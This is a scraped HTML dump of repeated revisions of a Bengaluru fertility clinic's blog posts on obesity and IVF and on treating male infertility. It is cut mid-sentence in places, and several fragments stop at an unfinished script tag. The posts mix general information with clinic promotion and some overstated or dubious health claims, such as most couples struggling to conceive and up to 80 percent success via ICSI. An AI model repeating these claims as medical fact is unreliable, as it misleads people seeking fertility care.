of the latest technology that the NU fertility centre has come out as a preferred centre for women and men in need of IVF treatment. Rated as the best IVF care centre in Bengaluru, our <a href=\"https://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>IVF specialists</strong></a> and Andrologists set high standards in commitment and smooth execution of the process, right from the initial stage which includes patient counseling, patient preparation, and execution of the treatment procedures and after treatment care support. IVF specialists at NU fertility centre are professional, friendly and courteous and make every conversation count.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\">Conclusion</span></h2>\r\nStudies have proved the impact of obesity and its risk associated with female and male infertility. IVF treatment has rekindled hopes amongst women that they can now look forward to having a family, even if they are overweight. In addition to this, Interventions including weight loss, physical activity, dietary modification, and bariatric surgery, hold a lot of promise for obese patients, wishing to conceive. However, more translational work is required to analyze the interplay between obesity and reproduction, with the goal of building healthy families.\r\n\r\n</div>\r\n<script>function

style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>Obesity</strong></span></h2>\r\nObesity, in simpler terms well-understood as overweight, is a common term, heard everywhere these days. It has become a global endemic or a wide-ranging problem, so to say and millions around the world continue to face the challenges that obesity continues to throw at them.\r\n\r\n<!--more-->\r\n\r\nWhile it does affect both men and women, it is increasingly seen that women of reproductive age face more challenges. Studies conducted in the recent past in the United States of America reveal that about 23% of women of reproductive age face the consequences of being obese. And the most widely noticed consequence is related to female infertility. According to a WHO estimate, the overall prevalence of primary infertility in India is between 3.9 to 16.8%. However, the prevalence of infertility in India varies from state to state such as from 3.7 % in Uttar Pradesh, Himachal Pradesh and Maharashtra to 5%, down South in Andhra Pradesh and 15%, up North again in Kashmir. The prevalence also varies in the same region across castes and tribes.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>How does being overweight affect fertility?</strong></span></h2>\r\nBefore we get into how obesity affects fertility, it would benefit readers to know a bit about what overweight actually is. From a lay man’s perspective, it is referred to excess body weight; more than what is permissible, for an individual at his age. Though we understand Obesity and Overweight to be almost the same, there is a very slight difference, which actually separates them and that is seen through the difference in BMI or Body Mass Index Values.\r\n\r\n<strong>World Health Organization (WHO), says that if the BMI equals to or is greater than 25 kg/m2, it is considered overweight, whereas if the BMI equals to or is greater than 30 kg/m2, it is considered obesity. BMI is calculated by using the height and weight of an individual.</strong> Obesity, though generally being a known risk factor for common problems like hypertension, diabetes, heart ailments, and arthritis, is a common cause for affecting fertility, largely in women.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>How obesity affects fertility in women?</strong></span></h2>\r\nHow obesity affects fertility in women is better seen when women complain about menstrual disorders, infertility, miscarriage, and unexpected pregnancy outcomes. This can impair reproductive function. Studies have also concluded that the risk of infertility is three times higher in an obese woman than a non-obese woman. However, it is not just women who suffer the consequences. Men who are overweight also face challenging issues due to <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong></a> which happens as a result of hormonal and other metabolic imbalance.\r\n\r\nAs we have been talking about overweight and obesity, many of us would want to know does being underweight affects fertility too. The answer is yes as being underweight could lead to miscarriage and premature birth.\r\n\r\nWhile there is a solution to every problem, it all goes down to visit the right place which has the right service and this is where <strong>NU Hospitals</strong>, a state of the art fertility center in Bangalore, India scores by treating Infertility with IVF Treatment. It is sure to excite us to know more about what IVF treatment is all about and how it addresses female and male infertility issues.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>IVF Treatment</strong></span></h2>\r\n<a href=\"https://www.nufertility.com/blog/in-vitro-fertilization-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>In-Vitro Fertilization</strong> </a>or just IVF as it is widely known as has caught global attention, especially in the case of women who are obese and face fertility issues. Though healthy lifestyle changes are also being suggested by doctors to address infertility, it is the IVF treatment, which has become a preferred choice for most of the women who want to overcome pregnancy-related issues.\r\n\r\nIVF is a series of procedures, aimed at helping solve fertility issues and genetic problems. IVF fertility treatment is seen as the most effective type of <strong>assisted reproductive technology (ART)</strong>. ‘Eggs and Sperms are used to create embryos’.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>BMI for IVF treatment</strong></span></h2>\r\nThe <strong>BMI or Body Mass Index</strong> during pregnancy holds immense value, especially for women who are obese. Usually, the desired BMI readings, for a healthy person, range from 18.5 to 25. Most fertility clinics have a strict requirement of BMI for patients requiring IVF treatment. Anything below 30 is considered good enough.\r\n\r\nHowever, studies indicate that about 20% of women have a BMI above 30 during the beginning of their pregnancy, which is a sure cause for concern. The risks associated with high BMI can be minimized by consuming a healthy diet, increased dosage of Vitamin D supplements and exercises.\r\n\r\nIt is due to a clinically driven procedure and support of the latest technology that the NU fertility centre has come out as a preferred centre for women and men in need of IVF treatment. Rated as the best IVF care centre in Bengaluru, our <a href=\"https://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>IVF specialists</strong></a> and Andrologists set high standards in commitment and smooth execution of the process, right from the initial stage which includes patient counseling, patient preparation, and execution of the treatment procedures and after treatment care support. IVF specialists at NU fertility centre are professional, friendly and courteous and make every conversation count.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\">Conclusion</span></h2>\r\nStudies have proved the impact of obesity and its risk associated with female and male infertility. IVF treatment has rekindled hopes amongst women that they can now look forward to having a family, even if they are overweight. In addition to this, Interventions including weight loss, physical activity, dietary modification, and bariatric surgery, hold a lot of promise for obese patients, wishing to conceive. However, more translational work is required to analyze the interplay between obesity and reproduction, with the goal of building healthy families.\r\n\r\n</div>\r\n<script>function

style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>Obesity</strong></span></h2>\r\nObesity, in simpler terms well-understood as overweight, is a common term, heard everywhere these days. It has become a global endemic or a wide-ranging problem, so to say and millions around the world continue to face the challenges that obesity continues to throw at them.\r\n\r\n<!--more-->\r\n\r\nWhile it does affect both men and women, it is increasingly seen that women of reproductive age face more challenges. Studies conducted in the recent past in the United States of America reveal that about 23% of women of reproductive age face the consequences of being obese. And the most widely noticed consequence is related to female infertility. According to a WHO estimate, the overall prevalence of primary infertility in India is between 3.9 to 16.8%. However, the prevalence of infertility in India varies from state to state such as from 3.7 % in Uttar Pradesh, Himachal Pradesh and Maharashtra to 5%, down South in Andhra Pradesh and 15%, up North again in Kashmir. The prevalence also varies in the same region across castes and tribes.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>How does being overweight affect fertility?</strong></span></h2>\r\nBefore we get into how obesity affects fertility, it would benefit readers to know a bit about what overweight actually is. From a lay man’s perspective, it is referred to excess body weight; more than what is permissible, for an individual at his age. Though we understand Obesity and Overweight to be almost the same, there is a very slight difference, which actually separates them and that is seen through the difference in BMI or Body Mass Index Values.\r\n\r\n<strong>World Health Organization (WHO), says that if the BMI equals to or is greater than 25 kg/m2, it is considered overweight, whereas if the BMI equals to or is greater than 30 kg/m2, it is considered obesity.</strong> BMI is calculated by using the height and weight of an individual. Obesity, though generally being a known risk factor for common problems like hypertension, diabetes, heart ailments, and arthritis, is a common cause for affecting fertility, largely in women.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>How obesity affects fertility in women?</strong></span></h2>\r\nHow obesity affects fertility in women is better seen when women complain about menstrual disorders, infertility, miscarriage, and unexpected pregnancy outcomes. This can impair reproductive function. Studies have also concluded that the risk of infertility is three times higher in an obese woman than a non-obese woman. However, it is not just women who suffer the consequences. Men who are overweight also face challenging issues due to <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong></a> which happens as a result of hormonal and other metabolic imbalance.\r\n\r\nAs we have been talking about overweight and obesity, many of us would want to know does being underweight affects fertility too. The answer is yes as being underweight could lead to miscarriage and premature birth.\r\n\r\nWhile there is a solution to every problem, it all goes down to visit the right place which has the right service and this is where <strong>NU Hospitals</strong>, a state of the art fertility center in Bangalore, India scores by treating Infertility with IVF Treatment. It is sure to excite us to know more about what IVF treatment is all about and how it addresses female and male infertility issues.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>IVF Treatment</strong></span></h2>\r\n<a href=\"https://www.nufertility.com/blog/in-vitro-fertilization-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>In-Vitro Fertilization</strong> </a>or just IVF as it is widely known as has caught global attention, especially in the case of women who are obese and face fertility issues. Though healthy lifestyle changes are also being suggested by doctors to address infertility, it is the IVF treatment, which has become a preferred choice for most of the women who want to overcome pregnancy-related issues.\r\n\r\nIVF is a series of procedures, aimed at helping solve fertility issues and genetic problems. IVF fertility treatment is seen as the most effective type of <strong>assisted reproductive technology (ART)</strong>. ‘Eggs and Sperms are used to create embryos’.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>BMI for IVF treatment</strong></span></h2>\r\nThe <strong>BMI or Body Mass Index</strong> during pregnancy holds immense value, especially for women who are obese. Usually, the desired BMI readings, for a healthy person, range from 18.5 to 25. Most fertility clinics have a strict requirement of BMI for patients requiring IVF treatment. Anything below 30 is considered good enough.\r\n\r\nHowever, studies indicate that about 20% of women have a BMI above 30 during the beginning of their pregnancy, which is a sure cause for concern. The risks associated with high BMI can be minimized by consuming a healthy diet, increased dosage of Vitamin D supplements and exercises.\r\n\r\nIt is due to a clinically driven procedure and support of the latest technology that the NU fertility centre has come out as a preferred centre for women and men in need of IVF treatment. Rated as the best IVF care centre in Bengaluru, our <a href=\"https://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>IVF specialists</strong></a> and Andrologists set high standards in commitment and smooth execution of the process, right from the initial stage which includes patient counseling, patient preparation, and execution of the treatment procedures and after treatment care support. IVF specialists at NU fertility centre are professional, friendly and courteous and make every conversation count.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\">Conclusion</span></h2>\r\nStudies have proved the impact of obesity and its risk associated with female and male infertility. IVF treatment has rekindled hopes amongst women that they can now look forward to having a family, even if they are overweight. In addition to this, Interventions including weight loss, physical activity, dietary modification, and bariatric surgery, hold a lot of promise for obese patients, wishing to conceive. However, more translational work is required to analyze the interplay between obesity and reproduction, with the goal of building healthy families.\r\n\r\n</div>\r\n<script>function

style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>Obesity</strong></span></h2>\r\nObesity, in simpler terms well-understood as overweight, is a common term, heard everywhere these days. It has become a global endemic or a wide-ranging problem, so to say and millions around the world continue to face the challenges that obesity continues to throw at them.\r\n\r\n<!--more-->\r\n\r\nWhile it does affect both men and women, it is increasingly seen that women of reproductive age face more challenges. Studies conducted in the recent past in the United States of America reveal that about 23% of women of reproductive age face the consequences of being obese. And the most widely noticed consequence is related to female infertility. According to a WHO estimate, the overall prevalence of primary infertility in India is between 3.9 to 16.8%. However, the prevalence of infertility in India varies from state to state such as from 3.7 % in Uttar Pradesh, Himachal Pradesh and Maharashtra to 5%, down South in Andhra Pradesh and 15%, up North again in Kashmir. The prevalence also varies in the same region across castes and tribes.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>How does being overweight affect fertility?</strong></span></h2>\r\nBefore we get into how obesity affects fertility, it would benefit readers to know a bit about what overweight actually is. From a lay man’s perspective, it is referred to excess body weight; more than what is permissible, for an individual at his age. Though we understand Obesity and Overweight to be almost the same, there is a very slight difference, which actually separates them and that is seen through the difference in BMI or Body Mass Index Values.\r\n\r\n<strong>World Health Organization (WHO), says that if the BMI equals to or is greater than 25 kg/m2, it is considered overweight, whereas if the BMI equals to or is greater than 30 kg/m2, it is considered obesity.</strong> BMI is calculated by using the height and weight of an individual. Obesity, though generally being a known risk factor for common problems like hypertension, diabetes, heart ailments, and arthritis, is a common cause for affecting fertility, largely in women.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>How obesity affects fertility in women?</strong></span></h2>\r\nHow obesity affects fertility in women is better seen when women complain about menstrual disorders, infertility, miscarriage, and unexpected pregnancy outcomes. This can impair reproductive function. Studies have also concluded that the risk of infertility is three times higher in an obese woman than a non-obese woman. However, it is not just women who suffer the consequences. Men who are overweight also face challenging issues due to <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong></a></span> which happens as a result of hormonal and other metabolic imbalance.\r\n\r\nAs we have been talking about overweight and obesity, many of us would want to know does being underweight affects fertility too. The answer is yes as being underweight could lead to miscarriage and premature birth.\r\n\r\nWhile there is a solution to every problem, it all goes down to visit the right place which has the right service and this is where <strong>NU Hospitals</strong>, a state of the art fertility center in Bangalore, India scores by treating Infertility with IVF Treatment. It is sure to excite us to know more about what IVF treatment is all about and how it addresses female and male infertility issues.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>IVF Treatment</strong></span></h2>\r\n<span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/in-vitro-fertilization-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>In-Vitro Fertilization</strong> </a></span>or just IVF as it is widely known as has caught global attention, especially in the case of women who are obese and face fertility issues. Though healthy lifestyle changes are also being suggested by doctors to address infertility, it is the IVF treatment, which has become a preferred choice for most of the women who want to overcome pregnancy-related issues.\r\n\r\nIVF is a series of procedures, aimed at helping solve fertility issues and genetic problems. IVF fertility treatment is seen as the most effective type of <strong>assisted reproductive technology (ART)</strong>. ‘Eggs and Sperms are used to create embryos’.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>BMI for IVF treatment</strong></span></h2>\r\nThe <strong>BMI or Body Mass Index</strong> during pregnancy holds immense value, especially for women who are obese. Usually, the desired BMI readings, for a healthy person, range from 18.5 to 25. Most fertility clinics have a strict requirement of BMI for patients requiring IVF treatment. Anything below 30 is considered good enough.\r\n\r\nHowever, studies indicate that about 20% of women have a BMI above 30 during the beginning of their pregnancy, which is a sure cause for concern. The risks associated with high BMI can be minimized by consuming a healthy diet, increased dosage of Vitamin D supplements and exercises.\r\n\r\nIt is due to a clinically driven procedure and support of the latest technology that the NU fertility centre has come out as a preferred centre for women and men in need of IVF treatment. Rated as the best IVF care centre in Bengaluru, our <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>IVF specialists</strong></a></span> and Andrologists set high standards in commitment and smooth execution of the process, right from the initial stage which includes patient counseling, patient preparation, and execution of the treatment procedures and after treatment care support. IVF specialists at NU fertility centre are professional, friendly and courteous and make every conversation count.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\">Conclusion</span></h2>\r\nStudies have proved the impact of obesity and its risk associated with female and male infertility. IVF treatment has rekindled hopes amongst women that they can now look forward to having a family, even if they are overweight. In addition to this, Interventions including weight loss, physical activity, dietary modification, and bariatric surgery, hold a lot of promise for obese patients, wishing to conceive. However, more translational work is required to analyze the interplay between obesity and reproduction, with the goal of building healthy families.\r\n\r\n</div>\r\n<script>function

However, for a large majority of couples, getting pregnant is not so easy. There are a number of complications that can arise, either in the man or woman, that can make getting pregnant extremely problematic.\r\n<!--more-->\r\n\r\n<span\"><strong><strong>What is male infertility?</strong></strong></span>Male infertility is when the man is facing problems with his fertility and cannot get the woman pregnant. <strong>1 in every 6 couples face fertility issues</strong>, and 50% of the fertility cases are believed to be linked to the male.\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><span><strong>What factors can cause male infertility?</strong></span></h2>\r\nMale infertility can arise due to a number of reasons such as low sperm count, abnormally functioning sperm or blockages that prevent the delivery of sperm from the testicles to the penis. Certain past illnesses or chronic health problems, injuries, lifestyle choices, and other factors can also play a role in causing male infertility.\r\n\r\nIn most cases, the cause for male infertility is related to the process of making the sperm or the mobility of the sperm. Some men may have sperm that have a short life span. Other men may have a very <strong><span style=\"color: #3366ff;\">low sperm count </span></strong>(also known as oligospermia). Some men cannot produce sperm at all (a condition called azoospermia). Most of the time, with the right medical/surgical treatments and lifestyle modifications, these problems can be reversed and cured. Other times, they, unfortunately, cannot. Consulting with the right andrologist/urologist and getting a complete check-up for the right path of treatment is the best way out.\r\n<h3 style=\"text-align: left; font-size: 16px; width: 100%;\"><span \"><strong><strong>what are the treatments for Male Infertility?</strong></strong></span></h3>\r\n<h3 style=\"text-align: left; font-size: 13px; width: 100%;\"><strong>Surgical and Non-surgical Options</strong></h3>\r\nThe urologist will take a full medical history and do a routine but thorough physical examination. For most men, these steps will be enough to pinpoint the issue. However, some men will require a few extra exams to detect the underlying problem, if needed, such as an ultrasound, blood tests or a hormonal profile. These will help further check the potential cause.\r\n\r\nOnce the main issue has been found, the doctor will prescribe the best treatment options available. But on a positive note, most male infertility cases are treatable, allowing the couple to fulfill their dreams of having a child of their own.\r\n\r\nMale infertility can be treated<strong> with or without surgery</strong>, or with assisted reproductive technology treatments. The non-surgical options include lifestyle changes, medications, therapy/counseling or hormone-related treatments. Other treatment options include surgery or the use of assisted reproductive technology.\r\n\r\nFor men who cannot bring out semen (ejaculate) at all, also known as anejaculation, medications will typically be prescribed first. This, by itself, is usually successful. If not, surgery is usually the next option. Surgery can be used to correct a defect or remove a blockage. Varicocele surgery sometimes helps in improving the quality and quantity of sperms in semen.\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><span><strong>Types of Assisted Reproductive (ART) Technology</strong></span></h2>\r\nWhen medication and surgical methods prove to be unfruitful to cure male infertility, your doctor will prescribe other forms of treatment that do not involve having intercourse. These methods are also called assisted reproductive techniques. <strong>Some of them are as follows:</strong>\r\n<ol>\r\n 	<li><strong><a href=\"https://www.nufertility.com/in-vitro-fertilization-ivf\">IVF (In-vitro Fertilization)</a>:</strong> This is when the egg of a woman is retrieved from the ovaries and fertilized by sperm in laboratory conditions. After letting it grow for 3 to 5 days, the fertilized egg (embryo) is put back into the woman’s uterus.</li>\r\n 	<li><strong>IUI (Intrauterine Insemination):</strong> This involves placing the sperm into the woman’s uterus using a special tube. This method is often used when the man’s sperm count is low, and his sperm has low mobility. Or when there is retrograde ejaculation.</li>\r\n 	<li><strong>ICSI (Intracytoplasmic Sperm Injection):</strong> This is where a single sperm is physically inserted into an egg. This treatment option helps those having even the most severe male infertility problems. Because of this revolutionary method, up to 80 percent of infertile men have the potential to conceive with their partner.\r\nToday’s highly-advanced, revolutionary medical techniques and procedures have made it possible for couples to conceive and make their dreams come true no matter what the odds are.</li>\r\n</ol>\r\nFor more information on male infertility and its treatment options please

style=\"text-align: justify;\">\r\n\r\nWhen a couple is ready to get pregnant, it should be the happiest and easiest thing in the world. However, for a large majority of couples, getting pregnant is not so easy. There are a number of complications that can arise, either in the man or woman, that can make getting pregnant extremely problematic.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>What is male infertility?</strong></strong></span></h2>\r\nMale infertility is when the man is facing problems with his fertility and cannot get the woman pregnant. <strong>1 in every 6 couples face fertility issues</strong>, and 50% of the fertility cases are believed to be linked to the male.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>What factors can cause male infertility?</strong></span></h2>\r\nMale infertility can arise due to a number of reasons such as low sperm count, abnormally functioning sperm or blockages that prevent the delivery of sperm from the testicles to the penis. Certain past illnesses or chronic health problems, injuries, lifestyle choices, and other factors can also play a role in causing male infertility.\r\n\r\nIn most cases, the cause for male infertility is related to the process of making the sperm or the mobility of the sperm. Some men may have sperm that have a short life span. Other men may have a very <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong> </a>(also known as oligospermia). Some men cannot produce sperm at all (a condition called azoospermia). Most of the time, with the right medical/surgical treatments and lifestyle modifications, these problems can be reversed and cured. Other times, they, unfortunately, cannot. Consulting with the right andrologist/urologist and getting a complete check-up for the right path of treatment is the best way out.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>Treatment for Male Infertility</strong></strong></span></h2>\r\n<h3 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>Surgical and Non-surgical Options</strong></h3>\r\nThe urologist will take a full medical history and do a routine but thorough physical examination. For most men, these steps will be enough to pinpoint the issue. However, some men will require a few extra exams to detect the underlying problem, if needed, such as an ultrasound, blood tests or a hormonal profile. These will help further check the potential cause.\r\n\r\nOnce the main issue has been found, the doctor will prescribe the best treatment options available. But on a positive note, most male infertility cases are treatable, allowing the couple to fulfill their dreams of having a child of their own.\r\n\r\nMale infertility can be treated with or without surgery, or with assisted reproductive technology treatments. The non-surgical options include lifestyle changes, medications, therapy/counseling or hormone-related treatments. Other treatment options include surgery or the use of assisted reproductive technology.\r\n\r\nFor men who cannot bring out semen (ejaculate) at all, also known as anejaculation, medications will typically be prescribed first. This, by itself, is usually successful. If not, surgery is usually the next option. Surgery can be used to correct a defect or remove a blockage. Varicocele surgery sometimes helps in improving the quality and quantity of sperms in semen.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Types of Assisted Reproductive (ART) Technology</strong></span></h2>\r\nWhen medication and surgical methods prove to be unfruitful to cure male infertility, your doctor will prescribe other forms of treatment that do not involve having intercourse. These methods are also called assisted reproductive techniques. <strong>Some of them are as follows:</strong>\r\n<ol>\r\n 	<li><strong>IVF (In-vitro Fertilization):</strong> This is when the egg of a woman is retrieved from the ovaries and fertilized by sperm in laboratory conditions. After letting it grow for 3 to 5 days, the fertilized egg (embryo) is put back into the woman’s uterus.</li>\r\n 	<li><strong>IUI (Intrauterine Insemination):</strong> This involves placing the sperm into the woman’s uterus using a special tube. This method is often used when the man’s sperm count is low, and his sperm has low mobility. Or when there is retrograde ejaculation.</li>\r\n 	<li><strong>ICSI (Intracytoplasmic Sperm Injection):</strong> This is where a single sperm is physically inserted into an egg. This treatment option helps those having even the most severe male infertility problems. Because of this revolutionary method, up to 80 percent of infertile men have the potential to conceive with their partner.\r\nToday’s highly-advanced, revolutionary medical techniques and procedures have made it possible for couples to conceive and make their dreams come true no matter what the odds are.</li>\r\n</ol>\r\nFor more information on male infertility and its treatment options please

ready to get pregnant, it should be the happiest and easiest thing in the world. However, for a large majority of couples, getting pregnant is not so easy. There are a number of complications that can arise, either in the man or woman, that can make getting pregnant extremely problematic.\r\n<!--more-->\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>What is male infertility?</strong></strong></span></h2>\r\nMale infertility is when the man is facing problems with his fertility and cannot get the woman pregnant. <strong>1 in every 6 couples face fertility issues</strong>, and 50% of the fertility cases are believed to be linked to the male.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>What factors can cause male infertility?</strong></span></h2>\r\nMale infertility can arise due to a number of reasons such as low sperm count, abnormally functioning sperm or blockages that prevent the delivery of sperm from the testicles to the penis. Certain past illnesses or chronic health problems, injuries, lifestyle choices, and other factors can also play a role in causing male infertility.\r\n\r\nIn most cases, the cause for male infertility is related to the process of making the sperm or the mobility of the sperm. Some men may have sperm that have a short life span. Other men may have a very <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong> </a>(also known as oligospermia). Some men cannot produce sperm at all (a condition called azoospermia). Most of the time, with the right medical/surgical treatments and lifestyle modifications, these problems can be reversed and cured. Other times, they, unfortunately, cannot. Consulting with the right andrologist/urologist and getting a complete check-up for the right path of treatment is the best way out.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>Treatment for Male Infertility</strong></strong></span></h2>\r\n<h3 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>Surgical and Non-surgical Options</strong></h3>\r\nThe urologist will take a full medical history and do a routine but thorough physical examination. For most men, these steps will be enough to pinpoint the issue. However, some men will require a few extra exams to detect the underlying problem, if needed, such as an ultrasound, blood tests or a hormonal profile. These will help further check the potential cause.\r\n\r\nOnce the main issue has been found, the doctor will prescribe the best treatment options available. But on a positive note, most male infertility cases are treatable, allowing the couple to fulfill their dreams of having a child of their own.\r\n\r\nMale infertility can be treated with or without surgery, or with assisted reproductive technology treatments. The non-surgical options include lifestyle changes, medications, therapy/counseling or hormone-related treatments. Other treatment options include surgery or the use of assisted reproductive technology.\r\n\r\nFor men who cannot bring out semen (ejaculate) at all, also known as anejaculation, medications will typically be prescribed first. This, by itself, is usually successful. If not, surgery is usually the next option. Surgery can be used to correct a defect or remove a blockage. Varicocele surgery sometimes helps in improving the quality and quantity of sperms in semen.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Types of Assisted Reproductive (ART) Technology</strong></span></h2>\r\nWhen medication and surgical methods prove to be unfruitful to cure male infertility, your doctor will prescribe other forms of treatment that do not involve having intercourse. These methods are also called assisted reproductive techniques. <strong>Some of them are as follows:</strong>\r\n<ol>\r\n 	<li><strong>IVF (In-vitro Fertilization):</strong> This is when the egg of a woman is retrieved from the ovaries and fertilized by sperm in laboratory conditions. After letting it grow for 3 to 5 days, the fertilized egg (embryo) is put back into the woman’s uterus.</li>\r\n 	<li><strong>IUI (Intrauterine Insemination):</strong> This involves placing the sperm into the woman’s uterus using a special tube. This method is often used when the man’s sperm count is low, and his sperm has low mobility. Or when there is retrograde ejaculation.</li>\r\n 	<li><strong>ICSI (Intracytoplasmic Sperm Injection):</strong> This is where a single sperm is physically inserted into an egg. This treatment option helps those having even the most severe male infertility problems. Because of this revolutionary method, up to 80 percent of infertile men have the potential to conceive with their partner.\r\nToday’s highly-advanced, revolutionary medical techniques and procedures have made it possible for couples to conceive and make their dreams come true no matter what the odds are.</li>\r\n</ol>\r\nFor more information on male infertility and its treatment options please

ready to get pregnant, it should be the happiest and easiest thing in the world. However, for a large majority of couples, getting pregnant is not so easy. There are a number of complications that can arise, either in the man or woman, that can make getting pregnant extremely problematic.\r\n<!--more-->\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>What is male infertility?</strong></strong></span></h2>\r\nMale infertility is when the man is facing problems with his fertility and cannot get the woman pregnant. <strong>1 in every 6 couples face fertility issues</strong>, and 50% of the fertility cases are believed to be linked to the male.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>What factors can cause male infertility?</strong></span></h2>\r\nMale infertility can arise due to a number of reasons such as low sperm count, abnormally functioning sperm or blockages that prevent the delivery of sperm from the testicles to the penis. Certain past illnesses or chronic health problems, injuries, lifestyle choices, and other factors can also play a role in causing male infertility.\r\n\r\nIn most cases, the cause for male infertility is related to the process of making the sperm or the mobility of the sperm. Some men may have sperm that have a short life span. Other men may have a very <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong> </a></span>(also known as oligospermia). Some men cannot produce sperm at all (a condition called azoospermia). Most of the time, with the right medical/surgical treatments and lifestyle modifications, these problems can be reversed and cured. Other times, they, unfortunately, cannot. Consulting with the right andrologist/urologist and getting a complete check-up for the right path of treatment is the best way out.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>Treatment for Male Infertility</strong></strong></span></h2>\r\n<h3 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>Surgical and Non-surgical Options</strong></h3>\r\nThe urologist will take a full medical history and do a routine but thorough physical examination. For most men, these steps will be enough to pinpoint the issue. However, some men will require a few extra exams to detect the underlying problem, if needed, such as an ultrasound, blood tests or a hormonal profile. These will help further check the potential cause.\r\n\r\nOnce the main issue has been found, the doctor will prescribe the best treatment options available. But on a positive note, most male infertility cases are treatable, allowing the couple to fulfill their dreams of having a child of their own.\r\n\r\nMale infertility can be treated with or without surgery, or with assisted reproductive technology treatments. The non-surgical options include lifestyle changes, medications, therapy/counseling or hormone-related treatments. Other treatment options include surgery or the use of assisted reproductive technology.\r\n\r\nFor men who cannot bring out semen (ejaculate) at all, also known as anejaculation, medications will typically be prescribed first. This, by itself, is usually successful. If not, surgery is usually the next option. Surgery can be used to correct a defect or remove a blockage. Varicocele surgery sometimes helps in improving the quality and quantity of sperms in semen.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Types of Assisted Reproductive (ART) Technology</strong></span></h2>\r\nWhen medication and surgical methods prove to be unfruitful to cure male infertility, your doctor will prescribe other forms of treatment that do not involve having intercourse. These methods are also called assisted reproductive techniques. <strong>Some of them are as follows:</strong>\r\n<ol>\r\n 	<li><strong>IVF (In-vitro Fertilization):</strong> This is when the egg of a woman is retrieved from the ovaries and fertilized by sperm in laboratory conditions. After letting it grow for 3 to 5 days, the fertilized egg (embryo) is put back into the woman’s uterus.</li>\r\n 	<li><strong>IUI (Intrauterine 